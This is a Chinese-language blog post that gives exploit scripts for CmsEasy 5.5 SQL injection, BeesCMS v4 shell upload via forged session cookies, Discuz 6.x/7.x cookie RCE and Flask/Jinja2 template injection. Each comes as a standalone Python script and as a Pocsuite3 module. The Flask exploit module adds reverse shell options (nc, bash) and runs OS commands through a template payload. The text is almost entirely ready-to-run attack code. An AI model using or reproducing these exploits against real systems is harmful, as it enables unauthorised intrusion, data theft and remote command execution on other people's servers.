利用 Pocsuite3 框架编写 poc 实战案例

• Z时代
• 2024-01-10
• 分类：IT

作者：buffer

原文链接：https://mp.weixin.qq.com/s/LN5gJnKpunfWGJ6yQQtHuw

0x01 CmsEasy 5.5 UTF-8注入

无框架poc

import requests
import sys
def verify(url):
    path = '/celive/live/header.php'
    target = url+path
    post = {
        "xajax":"LiveMessage",
        "xajaxargs[0][name]":"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select 'hello' from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
    }
    try:
        res = requests.post(target,post)
        if 'hello' in res.text:
            print("[+]%s is vulnerable" % url)
        else:
            print("[-]%s is not vulnerable" % url)
    except Exception as e:
        print('error!')
if __name__ == '__main__':
    args = sys.argv
    if len(args) == 2:
        url = args[1]
        verify(url)
    else:
        print("Usage: python %s url" % args[0])

pocsuite3

from pocsuite3.api import Output,POCBase,register_poc,requests
class CmsEasy(POCBase):
    vulID = '1000'
    version = '1.0'
    author = ['一寸一叶']
    vulDate = '2014'
    createDate = '2020-11-20'
    updateDate = '2020-11-20'
    references = 'https://www.seebug.org/vuldb/ssvid-94004'
    name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'
    appPowerLink = 'http://www.cmseasy.cn/'  # 漏洞产商主页
    appName = 'CMSEasy'  # 漏洞应用名称
    appVersion = '5.5'  # 漏洞影响版本
    vulType = 'SQL Injection'  # 漏洞类型
    desc = '''/celive/live/header.php存在post注入'''  # 在漏洞描述填写
    samples = []  # 测试成功网址
    install_requires = []  # PoC依赖的第三方模块，尽量不要使用第三方模块，必要时参考后面给出的参考链接
    pocDesc = '''PoC用法描述'''  # 在PoC用法描述填写
    def _verify(self):
        result = {}
        target = self.url + '/celive/live/header.php'
        payload = {
            "xajax": "LiveMessage",
            "xajaxargs[0][name]": "1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select 'hello' from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
        }
        res = requests.post(target,payload)
        if 'hello' in str(res.content):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = target
            result['VerifyInfo']['Postdata'] = payload
        return self.parse_output(result)
    def _attack(self):
        return self._verify()
    def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return result
register_poc(CmsEasy)

0x02 BeesCMS v4后台getshell

无框架

import requests
import sys,re
def verity(url):
    if 'index.php' in url:
        attack_url = url.replace('index.php','admin/upload.php')
    else:
        attack_url = url+'/admin/upload.php'
    get_cookie = {
        '_SESSION[login_in]':'1',
        '_SESSION[admin]':'1',
        '_SESSION[login_time]':'99999999999'
    }
    try:
        res = requests.post(url,get_cookie)
        cookie = res.cookies['PHPSESSID']
        if cookie:
            print('成功获取cookie：%s' %cookie)
            payload = {
                'up':(
                    'shell.php',
                    '<?php phpinfo();?>',
                    'image/png',
                ),
            }
            attack_cookie = {'PHPSESSID':cookie}
            res = requests.post(attack_url,cookies=attack_cookie,files=payload)
            if '.php' in res.text:
                print("[+]%s is vulnerable" % url)
                if 'img' in res.text:
                    compile = re.compile(r'img/.*php')
                    result = compile.findall(res.text)
                    for i in result:
                        print("[+]上传测试路径为：%s"%i)
            else:
                print("[+]%s is not vulnerable" % url)
        else:
            print('获取cookie失败')
    except Exception as e:
        print('error!')
if __name__ == '__main__':
    args = sys.argv
    if len(args) == 2:
        url = args[1]
        verity(url)
    else:
        print("python %s url \nExample: python %s http://127.0.0.1" %(args[0],args[0]))

pocsuite3

from pocsuite3.api import Output,POCBase,register_poc,requests
class BeeCMS(POCBase):
    vulID = '1001'
    version = '1.0'
    author = ['一寸一叶']
    vulDate = '2014'
    createDate = '2020-11-20'
    updateDate = '2020-11-20'
    references = 'https://bbs.ichunqiu.com/thread-13977-1-1.html'
    name = 'BeeCMS v4 后台上传getshell'
    appPowerLink = 'http://www.beescms.com/'  # 漏洞产商主页
    appName = 'BeeCMS'  # 漏洞应用名称
    appVersion = 'v4'  # 漏洞影响版本
    vulType = 'Upload'  # 漏洞类型
    desc = '''/admin/upload.php任意文件上传'''  # 在漏洞描述填写
    samples = []  # 测试成功网址
    install_requires = []  # PoC依赖的第三方模块，尽量不要使用第三方模块，必要时参考后面给出的参考链接
    pocDesc = '''PoC用法描述'''  # 在PoC用法描述填写
    def _verify(self):
        result = {}
        if 'index.php' in self.url:
            attack_url = self.url.replace('index.php', 'admin/upload.php')
        else:
            attack_url = self.url + '/admin/upload.php'
        #获取cookie
        get_cookie = {
            '_SESSION[login_in]': '1',
            '_SESSION[admin]': '1',
            '_SESSION[login_time]': '99999999999'
        }
        res = requests.post(self.url, get_cookie)
        cookie = res.cookies['PHPSESSID']
        if cookie:
            print('成功获取cookie：%s' % cookie)
            payload = {
                'up': (
                    'shell.php',
                    '<?php phpinfo();?>',
                    'image/png',
                ),
            }
            attack_cookie = {'PHPSESSID': cookie}
            res = requests.post(attack_url, cookies=attack_cookie, files=payload)
            if '.php' in res.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = attack_url
                result['VerifyInfo']['Postdata'] = payload
            return self.parse_output(result)
        def _attack(self):
            return self._verify()
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return result
register_poc(BeeCMS)

0x03 Discuz 7.x 6.x rce

找到任意一篇文章

刷新bp抓包，将Cookie内的内容修改为：

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

无框架

import requests,sys
def verify(url):
    headers = {
        'Cookie':'GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();'
    }
    res = requests.get(url,headers=headers)
    print(res.text)
    if 'phpinfo()' in res.text:
        print("[+]%s is vulnerable" % url)
    else:
        print("[+]%s is not vulnerable" % url)
if __name__ == '__main__':
    args = sys.argv
    if len(args) == 2:
        url = args[1]
        verify(url)
    else:
        print("Usage:python %s url <任意一篇文章地址>" %args[0])

pocsuite3

from pocsuite3.api import Output,POCBase,register_poc,requests
class Discuz(POCBase):
    vulID = '1002'
    version = '1.0'
    author = ['一寸一叶']
    vulDate = '2010'
    createDate = '2020-11-20'
    updateDate = '2020-11-20'
    name = 'Discuz 6.x 7.x rce (wooyun-2010-080723)'
    appPowerLink = 'https://www.discuz.net/forum.php'  # 漏洞产商主页
    appName = 'Discuz'  # 漏洞应用名称
    appVersion = '6.x 7.x'  # 漏洞影响版本
    vulType = 'RCE'  # 漏洞类型
    desc = '''任意一篇文章处修改cookie为：GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();可以命令执行'''  # 在漏洞描述填写
    samples = []  # 测试成功网址
    install_requires = []  # PoC依赖的第三方模块，尽量不要使用第三方模块，必要时参考后面给出的参考链接
    pocDesc = '''-u 指定的是文章地址'''  # 在PoC用法描述填写
    def _verify(self):
        result = {}
        payload = {
            'Cookie': 'GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();'
        }
        res = requests.get(self.url, headers=payload)
        print(res.text)
        if 'phpinfo()' in res.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Postdata'] = payload
        return self.parse_output(result)
    def _attack(self):
        return self._verify()
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return result
register_poc(Discuz)

0x04 flask注入

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name','guest')
    t = Template("Hello "+ name)
    return t.render()
if __name__ =="__main__":
    app.run()

存在漏洞 无框架

import requests,sys
def verity(url):
    path = '/?name='
    payload = '{{22*22}}'
    target = url+path+payload
    res = requests.get(target)
    if '484' in res.text:
        print("[+]%s is vulnerable" % url)
    else:
        print("[+]%s is not vulnerable" % url)
if __name__ == '__main__':
    args = sys.argv
    if len(args) == 2:
        url = args[1]
        verity(url)
    else:
        print("Usage: python %s url" % args[0])
pocsuite3 poc
from pocsuite3.api import POCBase,register_poc,Output,requests
class FlaskInjection(POCBase):
    vulID = '1003'
    version = '1.1'
    author = ['一寸一叶']
    vulDate = '1.1'
    createDate = '2020/11/21'
    updateDate = '2020/11/21'
    references = ['flask']
    name = 'flask-poc'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    desc = '''
        flask注入
    '''
    samples = []
    def _verify(self):
        result = {}
        path = '/?name='
        payload = '{{22*22}}'
        target = self.url+path+payload
        res = requests.get(target)
        if res.status_code == 200 and '484' in res.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)
    def _attack(self):
        return self._verify()
    def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return result
register_poc(FlaskInjection)

pocsuite3 exp

from pocsuite3.api import POCBase,register_poc,Output,requests,OptDict,REVERSE_PAYLOAD
from collections import OrderedDict
class FlaskInjection(POCBase):
    vulID = '1003'
    version = '1.1'
    author = ['一寸一叶']
    vulDate = '1.1'
    createDate = '2020/11/21'
    updateDate = '2020/11/21'
    references = ['flask']
    name = 'flask-poc'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    desc = '''
        flask注入
    '''
    samples = []
    def _options(self):
        o = OrderedDict()
        payload = {
            'nc':REVERSE_PAYLOAD.NC,
            'bash':REVERSE_PAYLOAD.BASH,
        }
        o['command'] = OptDict(selected='bash',default=payload)
        return o
    def _verify(self):
        result = {}
        path = '/?name='
        payload = '{{22*22}}'
        target = self.url+path+payload
        res = requests.get(target)
        if res.status_code == 200 and '484' in res.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)
    def _attack(self):
        result = {}
        path = '/?name='
        url = self.url+path
        cmd = self.get_option('command')
        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("' + cmd + '").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        try:
            res = requests.get(url=url+payload)
            data = res.text
            data = data.replace('\n','').replace('\r','')
            print(data)
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_output(result)
    def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return result
register_poc(FlaskInjection)

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